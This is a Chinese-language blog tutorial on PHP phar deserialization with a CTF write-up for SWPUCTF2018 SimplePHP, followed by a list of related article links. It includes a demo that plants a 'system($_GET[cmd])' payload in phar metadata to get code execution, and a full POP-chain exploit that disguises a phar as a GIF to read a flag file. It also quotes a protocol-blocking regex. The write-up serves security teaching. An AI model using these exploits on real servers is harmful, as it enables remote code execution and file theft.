phar反序列化學習
程式碼塊中的 "\" 可以忽略
初始phar
概念
phar是一種類似於jar的打包檔案,但是實際上是一種壓縮檔案,php5.3版本或以上都預設開啟,可以將多個檔案壓縮成一個phar檔案,phar不需要依賴unserialize函式就可以進行反序列化操作,使用phar偽協議讀取檔案會將檔案中的meta-data資料進行一次反序列化操作。同時php中已經內建了一個phar類用於處理相關的操作
四大主要組成部分
- a stub
可以理解成標識,必須以**
__HALT_COMPILER();?>
** 結尾,否則不會被識別為phar檔案,結尾前的內容不限,比如可以是:xxx\<?php xxx;__HALT_COMPILER();?>
- a manifest describing the contents
phar檔案中本質上是一個壓縮檔案,所以這一部分會放一些壓縮檔案的一些資訊,其中meta-data就是以序列化的形式儲存在這裡,這個也是漏洞執行的關鍵點
- the file contents
被壓縮的檔案內容,在沒有特殊要求的情況下,可以隨便寫,反正最終我們只是需要序列化出我們想要得到內容就行了
- a signature for verifying Phar integrity
簽名格式
受影響函式
php部分函式在透過偽協議phar://解析phar檔案時,會觸發反序列化,會將meta-data進行反序列化,受影響的函式如下:
舉個荔枝
實驗開始之前,確保
- php 版本等於或者高於5.3
- php.ini中的phar.readonly設定為Off(預設為On)
//生成phar檔案 <?php class AnyClass{ var $output = ''; function __construct(){ echo '生成完成...'; } } $phar = new Phar('phar.phar'); //被生成的檔案,必須是phar做為字尾名 $phar -> stopBuffering(); $phar -> setStub('<?php __HALT_COMPILER();?>'); //phar標誌,必須以__HALT_COMPILER();?>結尾,前面的內容隨便 $phar -> addFromString('vfree.txt','vfree'); //要寫入的檔案和檔案內容 $object = new AnyClass(); //初始化類 $object -> output= 'system($_GET["cmd"]);'; //往類裡面的output變數寫入systemxxx $phar -> setMetadata($object); //將meta-data寫入manifest $phar -> stopBuffering();
執行這個php檔案後,會在當前目錄下生成一個vfree.phar檔案
構造下面的語句,使用受影響的函式包含phar檔案
<?php show_source(__FILE__); \$filename=\$_GET['filename']; class AnyClass{ var \$output = 'echo "ok";'; function __destruct() { eval(\$this->output); } } file_exists('phar://phar.phar/vfree.txt')
訪問檔案,就可以進行RCE,vfree.txt的作用好像沒啥用,就是為了輸出addFromstring第二位的vfree!!!
實戰:[SWPUCTF2018]SimplePHP
題目連結:**BUUCTF線上評測 (buuoj.cn)
題解
開啟檔案有兩個利用點,一個是檢視檔案的,還有一個是上傳檔案,一般老師傅看到檢視檔案的第一眼就會考慮到任意檔案讀取漏洞,這裡嘗試讀取一下index.php
發現index.php下include了一個base.php,包含看看啥也沒,但是底下有一個f1ag.php
包含f1ag.php,返回hacker,說明給過濾了
繼續讀取file.php看看,新發現了兩個檔案和網站的絕對路徑,繼續包含
最主要的兩個檔案:function.php和class.php
function.php
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global \$_FILES; \$filename = md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . \$filename)) { unlink(\$filename); } move_uploaded_file(\$_FILES["file"]["tmp_name"],"upload/" . \$filename); echo '\<script type="text/javascript">alert("上傳成功!");\</script>'; } function upload_file() { global \$_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global \$_FILES; \$allowed_types = array("gif","jpeg","jpg","png"); \$temp = explode(".",\$_FILES["file"]["name"]); \$extension = end(\$temp); if(empty(\$extension)) { //echo "\<h4>請選擇上傳的檔案:" . "\<h4/>"; } else{ if(in_array(\$extension,\$allowed_types)) { return true; } else { echo '\<script type="text/javascript">alert("Invalid file!");\</script>'; return false; } } } ?>
function.php檔案主要是控制上傳的,檔名命名控制語句:
\$filename = md5(\$_FILES["file"]["name"].\$_SERVER["REMOTE_ADDR"]).".jpg";
檔案儲存語句:
move_uploaded_file(\$_FILES["file"]["tmp_name"],"upload/" . \$filename);
check語句:
\$allowed_types = array("gif","jpeg","jpg","png"); \$temp = explode(".",\$_FILES["file"]["name"]);
所以上傳的路徑是在當前目錄的upload資料夾下,只能上傳圖片檔案格式的檔案
繼續跟進審計class.php檔案
class.php
\<?php class C1e4r { public \$test; public \$str; public function __construct(\$name) { \$this->str = \$name; } public function __destruct() { \$this->test = \$this->str; echo \$this->test; } } class Show { public \$source; public \$str; public function __construct(\$file) { \$this->source = \$file; //\$this->source = phar://phar.jpg echo \$this->source; } public function __toString() { \$content = \$this->str['str']->source; return \$content; } public function __set(\$key,\$value) { \$this->\$key = \$value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',\$this->source)) { die('hacker!'); } else { highlight_file(\$this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", \$this->source)) { echo "hacker~"; \$this->source = "index.php"; } } } class Test { public \$file; public \$params; public function __construct() { \$this->params = array(); } public function __get(\$key) { return \$this->get(\$key); } public function get(\$key) { if(isset(\$this->params[\$key])) { \$value = \$this->params[\$key]; } else { \$value = "index.php"; } return \$this->file_get(\$value); } public function file_get(\$value) { \$text = base64_encode(file_get_contents(\$value)); return \$text; } } ?>
分析
- class.php有兩個檔案操作的函式,一個是highlight_file和file_get_contents
- 有三個類,分別是C14er,Show和Test,先從C14er審計:
C14er類
class C1e4r { public \$test; public \$str; public function __construct(\$name) { \$this->str = \$name; //construct魔術方法初始化了str的值等於\$name } public function __destruct() { \$this->test = \$this->str; echo \$this->test; //destruct魔術方法賦值了\$this->test等於\$this->str,然後輸出\$this->test } }
Show類
class Show { public \$source; public \$str; public function __construct(\$file) { \$this->source = \$file; //\$this->source = phar://phar.jpg echo \$this->source; // 已經告訴了這是一個phar反序列化 } public function __toString() { //這裡的魔術方法作用就是如果使用輸出字串的方式輸出類的例項化,就會促發__toString,也就是會執行這裡。 \$content = \$this->str['str']->source; // 呼叫了自己的source return \$content; } public function __set(\$key,\$value) { \$this->\$key = \$value; } public function _show() { //這裡定義了檔案包含過濾的字串,包含了f1ag.php,所以不能直接包含flag所在的檔案 if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',\$this->source)) { die('hacker!'); } else { highlight_file(\$this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", \$this->source)) { echo "hacker~"; \$this->source = "index.php"; } } }
Test類
class Test { public \$file; public \$params; public function __construct() { \$this->params = array(); //初始化一個params為陣列 } public function __get(\$key) { //如果呼叫了類裡面的一個不存在或者私有的內容時,就會觸發__get魔術方法 return \$this->get(\$key); // 這裡繼續呼叫了get(),繼續跟進 } public function get(\$key) { if(isset(\$this->params[\$key])) { \$value = \$this->params[\$key]; // 如果設定了params[\$key]的話,那麼\$value就等於設定的檔案 } else { \$value = "index.php"; } return \$this->file_get(\$value); //這裡繼續呼叫了file_get(\$value),繼續跟進 } public function file_get(\$value) { \$text = base64_encode(file_get_contents(\$value)); // 到了這裡,就可以讀取我們傳入的檔案了 return \$text; } }
對於一些程式碼的解釋已經註釋在了程式碼中的後面。
關係
首先C1e4r類中的解構函式中,使用了echo輸出$this->test
,test時可控的,在後面的Show類也有一個toString魔術方法,這個方法中定義的$content = $this->str['str']->source
可以觸發Test類的__get魔術方法,所以我們要在\$this->test
傳入一個可以觸發toString的內容,然後在傳入一個str觸發Test的__get
鏈
C14er->test => Show->__toString => Test->__get->get->file_get
EXP編寫
\<?php class C1e4r{ public \$test; public \$str; } class Show{ public \$source; public \$str; } class Test{ public \$file; public \$params; } \$c1e4r = new C1e4r(); \$show = new Show(); \$test = new Test(); \$c1e4r->str = \$show; // 觸發Show類的__toString \$show->str['str'] = \$test; //觸發Test類的__get,因為在Test並沒有定義source,所以Test的__get會被觸發 \$test->params['source'] = '/var/www/html/f1ag.php'; //要讀取的檔案 //生成phar檔案基本上用下面這一段程式碼 \$phar = new Phar('vfree.phar'); //必須是phar為字尾 \$phar -> startBuffering(); //開始寫入 \$phar -> setStub('GIF89A'.'\<?php __HALT_COMPILER();?>'); /*必須以__HALT_COMPILER();?>結尾,否則不會被識別出是phar檔案,前面的內容隨便*/ \$phar -> addFromString('vfree.txt','vfree'); //隨便寫 \$object = \$c1e4r; \$phar -> setMetadata(\$object); //將meta-data寫入快取中 \$phar -> stopBuffering(); //停止寫入,並且建立輸出一個phar檔案,這裡生成了vfree.phar
編寫後訪問exp檔案,會在當前檔案建立一個vfree.phar的檔案,由於只能上傳圖片檔案,所以要把phar字尾改成gif上傳上去。
上傳
這裡開了目錄訪問的許可權,訪問upload/
使用phar偽協議訪問66314f775270c74b6790f90c8d7167a8.jpg
,訪問url
http://xxxxxxxxx/file.php?file=phar://upload/66314f775270c74b6790f90c8d7167a8.jpg
總結
一個比較簡單的phar反序列化,透過構造POP鏈去寫對應的EXP,一步一步實現每一個類的呼叫,最終透過觸發Test的__get魔術方法,一步一步到最後的file_get_contents函式讀取檔案。這裡提一個第一次編寫exp時出現的一個問題,就是在指定flag檔案的時候,\$test->params['source']='/var/www/html/f1ag.php'
中的source不能替換成其他的值,忽略了這個陣列的鍵不是可控的,剛開始寫了file,一直沒成功,換成source就好了,因為觸發__get魔術方法要帶上一個引數,而source就是我們帶上的引數,具體的魔術方法學使用方法可以自行百度一下。
相關文章
- phar反序列化例題2024-06-01
- phar反序列化例題二2024-08-09
- 利用PHAR協議進行PHP反序列化攻擊2021-06-28協議PHP
- BMZCTF phar???2022-03-31
- 反序列化底層學習2024-06-25
- URLDNS反序列化鏈學習2022-04-05DNS
- Python學習——序列化與反序列化-json&pickle2018-04-24PythonJSON
- 從原理學習Java反序列化2022-03-18Java
- python反序列化學習記錄2020-10-13Python
- 《SQL 反模式》 學習筆記2020-04-19SQL模式筆記
- Hyperf phar部署問題2024-01-07
- CommonsCollection4反序列化鏈學習2022-04-02
- CommonsCollection6反序列化鏈學習2022-04-04
- CommonsCollection7反序列化鏈學習2022-04-04
- Python 反序列化漏洞學習筆記2020-12-10Python筆記
- [CTF/Web] PHP 反序列化學習筆記2023-11-19WebPHP筆記
- 通過WebGoat學習java反序列化漏洞2021-09-06WebGoJava
- 記一次svg反爬學習2020-07-27SVG
- C3P0反序列化鏈學習2022-04-20
- PHP 反序列化漏洞入門學習筆記2020-07-14PHP筆記
- JAVA反序列化學習-CommonsCollections1(基於ysoserial)2024-11-18Java
- JAVA反序列化學習-CommonsCollections5(基於ysoserial)2024-11-19Java
- 將 PHP 應用快速打包為 PHAR2019-01-15PHP
- 程式碼混淆與反混淆學習-第二彈2023-04-09
- Spring---IoC(控制反轉)原理學習筆記【全】2021-10-31Spring筆記
- Java程式設計思想學習筆記4 - 序列化技術2018-06-29Java程式設計筆記
- iOS學習筆記15 序列化、偏好設定和歸檔2018-06-02iOS筆記
- PHP phar:協議物件注入技術介紹2018-08-31PHP協議物件
- 學習記錄-Laravel 核心 依賴注入 控制反轉 反射2019-08-08Laravel依賴注入反射
- 反欺詐中所用到的機器學習模型有哪些?2018-03-11機器學習模型
- ABP微服務學習系列-修復System.Text.Json不支援序列化Exception2023-03-02微服務JSONException
- 這是一份全面 & 詳細的Google序列化神器protocolBuffer 學習指南2019-03-04GoProtocol
- 學習筆記 詳解一種高效位反轉演算法2020-10-01筆記演算法
- Spring入門學習手冊 1:最簡單的反轉控制2019-01-24Spring
- 突破!自然語言強化學習(NLRL):一個可處理語言反饋的強化學習框架2024-12-07強化學習框架
- 反對中國留學生學習AI和量子技術,美國要幹啥?2020-05-02AI
- CommonCollection1反序列化學系2022-03-31
- 機器學習指導催化劑設計,提高反應的產率2022-05-27機器學習